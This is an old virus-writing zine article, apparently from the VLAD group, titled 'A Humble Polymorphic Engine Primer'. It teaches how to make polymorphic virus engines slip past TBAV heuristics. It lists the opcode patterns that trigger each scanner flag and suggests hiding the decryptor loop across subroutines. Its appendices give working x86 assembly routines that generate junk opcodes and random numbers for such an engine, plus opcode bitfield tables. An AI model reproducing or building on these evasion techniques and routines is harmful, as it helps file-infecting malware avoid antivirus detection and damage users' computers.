A Humble Polymorphic Engine Primer (Absolute Overlord/VLAD)


ivanlef0u.fr/repo/madchat/vxdevl/vdat/tuvd0009.htm

A Humble PolyMorphic Engine Primer
by
Absolute Overlord

Foreward
Since I've done a tremendous amount of research into avoiding flags with a polymorphic engine I've decided to document my research and present it for the benefit of others persuing the same.
The benefits of using a polymorphic engine are excellent provided your engine achieves the requisite level of 'cleanliness' as far as heuristical flags go. The majority of polymorphic viruses have been stopped dead in their tracks due to the absurd level of flags they have been known to cause. If all of a sudden programs you knew which didn't have any flags scan as:

```
G  Garbage instructions.  Contains code that seems to have no purpose
   other than encryption or avoiding recognition by virus scanners.
@  Encountered instructions which are not likely to be generated by
   an assembler, but by some code generator like a polymorphic virus.
1  Found instructions which require a 80186 processor or above.
#  Found a code decryption routine or debugger trap.  This is common
   for viruses but also for some copy-protected software.
```

Then you know you have a virus. Of course if your virus does things like scramble the keyboard buffer or print 'FUCK YOU' on the screen every ten seconds none of this discussion is really going to be worth your while. ;)

First, the good news. Web and Avp *suck* next to tbav, and frankly the only scanner to use in your test bed is TBAV.
Now the bad news. TBAV is damn good at catching all kinds of garbage code and finding decryption loops.
The main thing to know here is that 1 flag is bad but 2 spells a catastrophe. This is because if tbav finds 2 flags on a file while scanning with high heuristics it will pop up the ubiquitious red warning window and summarily decide the file is infected.

First, the decryption loop.

In even the best polymorphic engines I've seen tbav finds the decryptor loop 5 times out of 10. It's hard to state the exact reason this is but it evens finds the decryptor loop in Rhincewind's RHINCE|Rhince engine droppers. This is peculiar because Rhince uses a very slick method of inserting a number of mov [memlocation], opcode instructions.
The decryptor is actually laid down at the end of the 'header' while the header is executing. A fantastic idea, but nevertheless one that fails to elude tbav. Dark Slayer uses the method of xor [si,di,bp or bx], seed but tbav will catch this as well about 50% of the time.
I hypothesized that if I spread the individual instructions for the decryptor loop over a number of subroutines that formed the actual loop tbav would fail to find it. I was right. So this is the method I use now in S.H.I.T. Of course, eventually tbav will be able to detect even this as well. I think tbav tries to keep track of memory pointed to by the index registers and watches for successive memory location changes. Hard to tell. One thing is certain though. A polymorphic

engine must make a good show of attempting to hide the decryptor
or the whole point is lost. You certainly can't have 50 files
suddenly flagging as having a decryptor that didn't flag so before.

Second, the dreaded @ polymorph engine flag.

This one is not so hard to pin down. Almost all single byte opcodes
like DAA, AAD, LOCK and other oddities you would rarely use in a
program will trigger it. Addressing modes like mov dx,[bp+di+3425h]
will trigger it. Lots of adc's, sub's ,cmp's, dec's and inc's will
trigger it. Register operations involving bp, di, si,and sp will
move you towards a trigger (but not gaurantee one).

Any incidence of an opcode like mov al,ah where the direction bit
is set will trigger the @ flag. Due to the way the opcode bit fields
where designated there is a set of 'mirror' opcodes that perform
the same function but with the register fields reversed and the direction
bit set instead of clear (see appendix A). The same holds true for the xchg
group of instructions.

I believe that tbav uses a combination of a mathematical approach to counting
the incidence of opcodes and addressing modes and computing the statistical
likelihood of their occurrences as well as looking for specific opcodes
and opcode sequences. This is a good reason that code produced by engines
like PSE,MIME,MTE,TPE,PME,DSCE,DSME and VICE will give lots and lots of
flags. If we count the incidence of each opcode and then do a frequency
analysis on them we can come up with a fairly decent picture of your average
program versus the kind of garbage produced by most poly engines.

To be honest, it seems the only opcodes you can get away with and still
gaurentee no @ flag is mov's, xchg's and push/pop pairs.
That leaves the entire slew of mathematical and logical instructions
to be re-explored however. That also leaves the standard flow control (CMP/JZ)
pairs. I tested one version of shit that was getting 0 flags by adding
cmp/jz/jnz/jo etc random flow control and started getting flags.
Hard to pin down the cause here.

Which leads us to the issue of the G garbage flag.
Tbav is fairly intelligent and will flag G on almost any sequence of
instructions that look like garbage to the naked eye so you really have
to avoid producing code that looks like utter nonsense. The majority
of actual program code consists of

1 moves to registers from memory (setup)
2 moves to registers of immediate values
3 moves to memory of registers or immediate values
4 moves to registers of registers
5 pushes and pops to move registers to other registers
6 occasional interupts to various system services
7 compares with branches
8 logical instructions like and,or,ror,sal etc
9 mathemetical instructions like add,sub (pretty rare actually)

I think that item number 6 needs more looking into.

If I start debugging and see 200 bytes go by without a single Int21
or Int10 or *SOMETHING* I think I would be pretty suspicious.
I bet TBAV assumes the same here.
Basically,if the code looks completely absurd with debug then I'm
100% positive tbav will flag it as something as well.

The U undocumented interupt flag.

There's no denying the fact that TBAV has a flaw in it. It will sometimes
produce this flag even when there are no such Int's in the tested code.
Either that or there is a slim (but intentional?) random chance that
mov ax,4C00h Int 21h will be flagged as undocumented.
Maybe Franz wants an extra margin of safety.?:)

The J suspicious jump construct flag.

Programs like SMEG and others that overindulge in random flow control
will cause this. Pare down the level of random flow control. The main
thing I have noticed is that in most engines there is a total lack
of control in the 'randomocity' of the code generated. You have to
control it. Make it far less random. Make it look much more like
the genuine article. (Speaking of which, I'm sure I'm not the first person
to think of 'code theiving'. Actually going out and trying to find some
chunk of code in the host or something to plunk down as our new entry
header. I wonder if this could be done..)
You might be better off avoiding random flow control entirely and
lightening up your engine a bit in the process.

The R Terminate and stay resident flag.

This technically shouldn't be a flag any polymorphic engine should have
to worry about but alas, Franz has an itchy trigger finger.
You may occasionally see this if you have the instruction

```
mov [si],bx
```

anywhere in your code. Actually, this brings us to the point of the 'known
flags' triggers. Here is a partial list:

```
cmp ah,4Bh   ; program infects on execution.

cmp ah,11h   ;stealth virus flag
cmp ah,12h   ;ditto
cmp ah,42h   ;ditto
cmp ah,43h   ;ditto

mov ah,40h   ;program may be capable of infecting a file.

Int 27h      ;tsr ;)

mov ah,37h   ;tsr
.....
int 21h
```

==========

Appendix A

```
; I have taken the liberty of assembling some routines that use the bit
; field patterns of opcodes to produce opcodes of a limited type each
; These may help you in creating your own variants.
; The actual engine must still create the framework that is padded out
; with the 'filler'. The following routines total 299 bytes including
; random number generators and local variables.
; they assume ds:di is the destination for the garbage opcodes
; and use destroy the contents of ax and bx

padit:
; lay down between 2 and 5 filler opcodes selected from the available
; types
                call get_rnd   ;get a random number for fill count
                and ax,03h     ;
                inc ax
                inc ax         ;min 2,max 5 opcodes
do_cx_rnd:      push ax
new_fill:       mov ax, (end_op_table-op_table)/2 ;select the type of
                call rand_in_range                ;filler
                cmp ax,word ptr [last_fill_type]
                jz new_fill      ;avoid same types in a row
                mov word ptr [last_fill_type],ax
                add ax,ax
                mov bx,ax
                call word ptr cs:[op_table+bx]
                pop ax
                dec ax
                jnz do_cx_rnd
                ret

; 38 bytes

op_table: dw offset move_with_mem     ;here we can weight the frequencies
          dw offset move_with_reg     ;a bit by inserting a subroutine
          dw offset move_imm          ;more than once
          dw offset reg_exchange
          dw offset do_push_pop
end_op_table:
last_fill_type dw 0
shit_range dw 0
shit_range_base dw 0
; 16 bytes

move_imm:
; makes an opcode of type mov reg,immediate value
; either 8 or 16 bit value
; but never ax or al or sp,di,si or bp

      call get_rnd
      and al,0Fh  ;get a reggie
      or al,0B0h   ;make it a mov reg,
      test al,00001000b
      jz is_8bit_mov
```

```
      and al,11111011b ; make it ax,bx cx or dx
      mov ah,al
      and ah,03h
      jz move_imm           ;not ax or al!
      stosb
      call rand_16
      stosw
      ret
is_8bit_mov:
      mov bh,al   ;
      and bh,07h  ; is al?
      jz move_imm ; yeah bomb
      stosb
      call get_rnd
      stosb
      ret

;37 bytes


move_with_mem:
; ok now we get busy with type mov reg,[mem] and type mov [mem],reg
; but never move ax,[mem] or mov al,[mem]
; or any moves involving bp,sp,di or si
; note:
; shit_range_base is a pointer to mem ok to mess with in the new
; host + virus combo. This would be somewhere in the current segment
; after the virus code and below the reserved stack area.
; shit_range is typically (65536 - stack_allocation) - shit_range_base
; shit_range_base is typically host_size+virus_size+safety_margin

    call rand_16
    and ax,0011100000000011b  ;preserve reggie,from/to mem and 8/16 bit
    or  ax,0000011010001000b  ;or it with addr mode imm 16 and make it mov
    test al,00000001b
    jnz is_16bitter
    cmp ah,00000110b       ;reggie = al?
    jz make_to_mem
    jmp all_clear_for_mem
is_16bitter:
    and ah,00011110b        ;make it ax,bx,cx or dx
    cmp ah,00000110b        ;is reggie = ax?
    jnz all_clear_for_mem   ;yes, make it to mem
make_to_mem:
    and al,11111101b       ; make it to mem
all_clear_for_mem:
    stosw
    mov ax,[shit_range] ;this will be zero if there not enuff room to define
    or ax,ax
    jnz shit_ok
    dec di
    dec di
    ret              ;there is no shit range defined so abort!
shit_ok: xor ah,ah
    call rand_in_range
```

```
    add ax,[shit_range_base]
    stosw
    ret
; 54 bytes


move_with_reg:
; ok now we knock boots with mov reg,reg's
; but never to al or ax.

    call rand_16
    and ax,0111111100000001b  ;preserve reggies and 8/16 bit
    or  ax,1100000010001010b  ;or it with addr mode and make it mov
reg_test:
    test al,1
    jz is_8bit_move_with_reg
    and ah,11011011b         ;make source and dest = ax,bx,cx,dx
is_8bit_move_with_reg:
    mov bl,ah
    and bl,00111000b
    jz move_with_reg       ;no mov ax, 's please
    mov bh,ah              ;let's see if 2 reggies are same reggies.
    sal bh,1
    sal bh,1
    sal bh,1
    and bh,00111000b
    cmp bh,bl              ;reg,reg are same?
    jz move_with_reg       ;dho!
    stosw
    ret

; 39 bytes

reg_exchange:
; modify a mov reg,reg into an xchg reg,reg

  call move_with_reg  ;make a mov reg,reg
  dec di               ;but then remove it
  dec di         ;and take advantage of the fact the opcode is still in ax
  test al,1b        ;was a 16 bit type?
  jnz reg_exchange  ;yeah go for an 8 bitter
  mov bh,ah
  and bh,07h         ;is one of reggies ax?
  jz reg_exchange    ;yah so bomb
  mov al,10000110b   ;else make it xchg ah,dl etc.
  stosw
  ret

; 19 bytes

; we can get slick and use the above routines to create a mov instruction
; and then modify it into a math or cmp preserving the pre assembled
; addressing mode

make_math_with_mem:
```

```
  call mov_with_mem
  push di
  sub di,4
  mov al,byte ptr [di]
  and al,00000011b     ;preserve the pertinent address mode info
  push ax
  call get_rnd
  and al,00111000b     ;weed out a new opcode like sub,add etc..
  pop bx
  or al,bl               ;set the address mode bits
  mov byte ptr  [di],al  ;a new instruction is born!
  pop di                 ;restore our pointer
  ret

; 26 bytes :)


do_push_pop:
; we don't have to watch our stack if we pair up pushes with pops
; so I slapped together this peice of shoddy work to add em.

        mov ax,(end_bytes_2-bytes_2)/2
        call rand_in_range
        add ax,ax
        mov bx,ax
        mov ax,word ptr [bytes_2+bx]
        stosw
        ret
bytes_2:
        push ax
        pop dx
        push ax
        pop bx
        push ax
        pop cx
        push bx
        pop dx
        push bx
        pop cx
        push cx
        pop bx
        push cx
        pop dx
end_bytes_2:
; 31 bytes

; the following random number gen routines where originated by rhincewind
; his random in range routine is great :)


rand_in_range:  push bx      ;returns a random num between 0 and entry ax
                push dx
                xchg ax,bx
                call get_rnd
                xor dx,dx
```

```
                div bx
                xchg ax,dx  ;dx=remainder
                pop dx
                pop bx
                ret
get_rnd:
; simple timer based random numbers but with a twist using xor of last one
; also originated by RhinceWind.
                in ax,40h
                xor ax, 0FFFFh
                org $-2
Randomize       dw ?
                mov [Randomize],ax
                ret

rand_16:
; a small variation to compensate for lack of randomocity in the
; high byte of 16 bit result returned by get_rnd
                call get_rnd
                mov bl,al
                call get_rnd
                mov ah,bl
                ret
;39
```

==========

Appendix B

Instruction Bitfeild Layouts

Section 1 - 8 basic arithmetic intructions bit feild layout.
Covers reg,mem mem,reg and reg,reg but not immediates.

```
first byte                  second byte - register and address mode
       op                   mode dest  source
      /   \                 / \ /  \  /  \
  7 6 5 4 3 2 1 0           7 6 5 4 3 2 1 0
  0 0 |     0 | |           |   |     |
      |       | 1 = 16 bit  |   |     0 0 0 = [BX+SI+] if index mode
      |       | 0 = 8 bit   |   |     0 0 1 = [BX+DI+]
      |       1 = to reg    |   |     0 1 0 = [BP+SI+]
      |       0 = to mem    |   |     0 1 1 = [BP+DI+]
      |                     |   |     1 0 0 = [SI+]
      0 0 0 = add           |   |     1 0 1 = [DI+]
      0 0 1 = or            |   |     1 1 0 = [BP+]
      0 1 0 = adc           |   |     1 1 1 = [BX+]
      0 1 1 = sbb           |   0 0 0 = AX (al) register map
      1 0 0 = and           |   0 0 1 = CX (cl)
      1 0 1 = sub           |   0 1 0 = DX (dl)
      1 1 0 = xor           |   0 1 1 = BX (bl)
      1 1 1 = cmp           |   1 0 0 = SP (ah)
```

```
                                |   1 0 1 = BP (ch)
                                |   1 1 0 = SI (dh)
                                |   1 1 1 = DI (bh)
                                0 0 - register index only (unless bp)
                                If index reg is [bp+] then
                                0 0 = [1000h] 16 bit long only
                                (there is no [bp] only mode)
                                0 1 - immediate is 8 bit short adrress
                                1 0 - immediate is 16 bit long address
                                1 1 register to register
                                    source bits are second register using
                                    same encoding as destination reg above.


; Note : If bit 2 of first byte is 1 then it is type immediate value to
; register : bit 1 (direction bit) will always be a
; zero, bit 0 specifies immediate to an 8 bit register with a single
; byte operand (0) or immediate to an 8 bit register with a word operand(1).
; byte 2 has the destination register using the above encoding only
; moved to the low 3 bits with bits 3,4,5 clear and bits 6 and 7 always
; set.
; operations of type add [memlocation], immediate are in the special
; 'FF' family to be described later.


 Section 2 ,the 'HiBit' series. Note bits 1 and 0 of first byte
 and second byte (addressing mode) is the same as above.

    first byte
      op                          second byte - same as above
     /   \
 7 6 5 4 3 2 1 0
 1 0 |     0 x x - see above
     0 0 0 - Mov
     0 0 1 -
     0 1 0 -
     0 1 1 -
     1 0 0 -
     1 0 1 -
     1 1 0 -
     1 1 1 -




 Section 3 - The '40' series Pushes and pops

 7 6 5 4 3 2 1 0
 0 0 0 1 x x x x
         | |
         | 0 0 0 Ax
         | 0 0 1 bx
```

```
| 0 1 0 cx
| 0 1 1 dx
| 1 0 0 bp
| 1 0 1 sp
| 1 1 0 si
| 1 1 1 di
|
0 Push
1 Pop
```